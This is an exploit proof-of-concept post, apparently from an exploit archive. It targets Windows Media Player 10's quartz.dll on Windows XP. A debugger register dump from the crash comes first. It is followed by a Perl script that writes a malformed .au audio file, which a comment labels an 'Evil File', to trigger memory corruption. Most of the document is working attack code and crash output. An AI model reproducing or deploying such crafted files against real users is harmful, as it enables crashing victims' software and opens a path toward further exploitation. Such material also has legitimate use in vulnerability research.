Windows Media Player All versions Crash Poc

# Title : Windows Media Player All versions crash Poc

# Date: 2013-01-12

# Software Link: http://windows.microsoft.com/fr-FR/windows/windows-media-player

# Author: The Black Devils

# Tested on: Windows XP SP2







  

 /

EAX FFFFFFFF

ECX 00000000

EDX 00000000

EBX 00ADBFD8

ESP 0136F0EC

EBP 0136F180

ESI FFFFFFFF

EDI 0015F132

EIP 7486E650 quartz.7486E650

C 0  ES 0023 32bit 0(FFFFFFFF)

P 1  CS 001B 32bit 0(FFFFFFFF)

A 0  SS 0023 32bit 0(FFFFFFFF)

Z 1  DS 0023 32bit 0(FFFFFFFF)

S 0  FS 003B 32bit 7FFAD000(FFF)

T 0  GS 0000 NULL

D 0

O 0  LastErr ERROR_SUCCESS (00000000)

EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)

ST0 empty +UNORM 0060 00090000 7C92B298

ST1 empty 0.0000000000410746190e-4933

ST2 empty 3.2726130374756203670e-4932

ST3 empty -UNORM B424 00450000 00163A58

ST4 empty -UNORM B690 7C91EE18 0006B864

ST5 empty 3.2720890737608970010e-4932

ST6 empty 21.590885050374495790

ST7 empty 0.0

               3 2 1 0      E S P U O Z D I

FST 0020  Cond 0 0 0 0  Err 0 0 1 0 0 0 0 0  (GT)

FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

/

  

  

AppName: wmplayer.exe    AppVer: 10.0.0.3802     ModName: quartz.dll

ModVer: 6.5.2600.2180    Offset: 000ee650

  

#!/usr/bin/perl

system("title The Black Devils");

system("color 1e");

system("cls");

print "\n\n";               

print "    |=======================================================|\n";

print "    |= [!] Name : Windows Media Player 10.0.0.3802 ||.au   =|\n";

print "    |= [!] Exploit : Memory Corruption                     =|\n";

print "    |= [!] Author  : The Black Devils                      =|\n";

print "    |= [!] Mail: mr.k4rizma(at)gmail(dot)com               =|\n";

print "    |=======================================================|\n";

sleep(2);

print "\n";

# Creating ...

my $PoC =

"\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01".

"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E".

"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22".

"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\x66\x66\x66\x00";

open(file , ">", "inj3ctor.au"); # Evil File au

print file $PoC;

print "\n [+] File successfully created!\n" or die print "\n [-] OupsS! File is Not Created !! ";

close(file);